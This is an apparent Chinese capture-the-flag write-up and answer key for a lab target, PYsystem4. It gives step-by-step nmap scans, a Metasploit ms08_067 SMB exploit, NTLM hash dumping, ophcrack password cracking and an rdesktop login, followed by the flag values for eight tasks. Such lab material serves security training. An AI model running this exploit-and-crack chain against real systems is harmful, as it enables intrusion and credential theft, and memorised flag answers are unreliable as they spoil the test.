1.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行操作系统扫描渗透测试,并将该操作显示结果“Running:”之后的字符串作为FLAG提交;
使用命令nmap -O 172.16.1.12进行操作系统服务扫描,根据回显结果显示,提交Running后面的字符串Microsoft Windows XP|2003
Flag:Microsoft Windows XP|2003
2.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行系统服务及版本扫描渗透测试,并将该操作显示结果中445端口对应的服务版本信息字符串作为FLAG提交;
使用命令nmap -sV 172.16.1.12对靶机操作系统进行系统服务及服务版本信息扫描渗透测试
Flag:Microsoft Windows XP Microsoft-ds
第三步,使用命令msfconsole启动metasplopit渗透测试平台
然后在交互界面使用命令
search ms08_067搜索smb漏洞利用模块
使用命令use exploit/windows/smb/ms08_067对该模块进行调用,然后使用命令show options查看需要配置的参数
使用命令set RHOST 172.16.1.12设置远程靶机地址,然后使用命令exploit对该模块进行利用
成功获取靶机的shell,第四步,使用命令run getgui -e启动目标靶机的远程桌面服务
然后使用命令hashdump导出当前管理员用户的NTLM hash值
复制Administrator管理员的那一行,再然后打开一个新的窗口使用命令ophcrack运行hash密码破解软件
将管理员的hash密文粘贴到该文本框内,然后点击OK,
导入成功后点击菜单栏中的Crack按钮,对该密文进行解密
稍等半分钟,成功解密管理员的明文密码pan123yun456
第五步,回到命令终端,使用命令rdesktop 172.16.1.12 运行远程桌面,输入用户名Administrator密码pan123yun456
成功进入桌面
3.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景网络连接信息中的DNS信息作为FLAG提交;(例如114.114.114.114)
DNS信息如下
Flag:123.125.81.6
4.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景桌面上111文件夹中唯一一个后缀为.docx文件的文件名称作为FLAG提交;
Flag:ksxwob.docx
5.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景桌面上111文件夹中唯一一个后缀为.docx文件的文档内容作为FLAG提交; 其内容为
Flag:ytgzksel
6.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景桌面上222文件夹中唯一一个图片中的英文单词作为FLAG提交;
Flag:eternity
7.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景中的当前最高账户管理员的密码作为FLAG提交;
管理员的密码:pan123yun456
Flag: pan123yun456
8.通过本地PC中渗透测试平台Kali对服务器场景PYsystem4进行渗透测试,将该场景中回收站内文件的文档内容作为FLAG提交。
Flag:ncuiwerx